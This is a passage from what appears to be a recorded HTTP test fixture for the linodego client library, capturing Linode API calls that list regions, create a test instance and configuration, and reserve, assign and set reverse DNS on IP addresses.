"172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-o44ma12nq8t2","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361103, "label": "go-test-ins-wo-disk-o44ma12nq8t2", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.15"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58b502ff98a4081434a97fe5a4f00bb7835d155c", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-083n4v9u8boo","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361103/configs method: POST response: body: '{"id": 71709950, "label": "go-test-conf-083n4v9u8boo", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361103/ips method: GET response: body: '{"ipv4": {"public": [{"address": "194.195.115.15", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-15.ip.linodeusercontent.com", "linode_id": 68361103, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}], "private": [], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361103, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361103, "region": "ap-west", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "819" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"rdns":"194.195.115.15.nip.io"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.115.15 method: PUT response: body: '{"address": "194.195.115.15", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194.195.115.15.nip.io", "linode_id": 68361103, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "252" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"rdns":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.115.15 method: PUT response: body: '{"address": "194.195.115.15", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-15.ip.linodeusercontent.com", "linode_id": 68361103, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "270" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"reserved":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.115.15 method: PUT response: body: '{"address": "194.195.115.15", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-15.ip.linodeusercontent.com", "linode_id": 68361103, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "269" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "172.105.63.218", "gateway": "172.105.63.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-63-218.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"reserved":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/172.105.63.218 method: PUT response: body: '{"address": "172.105.63.218", "gateway": "172.105.63.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-63-218.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"reserved":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.115.15 method: PUT response: body: '{"address": "194.195.115.15", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-15.ip.linodeusercontent.com", "linode_id": 68361103, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "270" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "194.195.119.44", "gateway": "194.195.119.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-119-44.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "265" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","assignments":[{"address":"194.195.119.44","linode_id":68361103}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/assign method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" 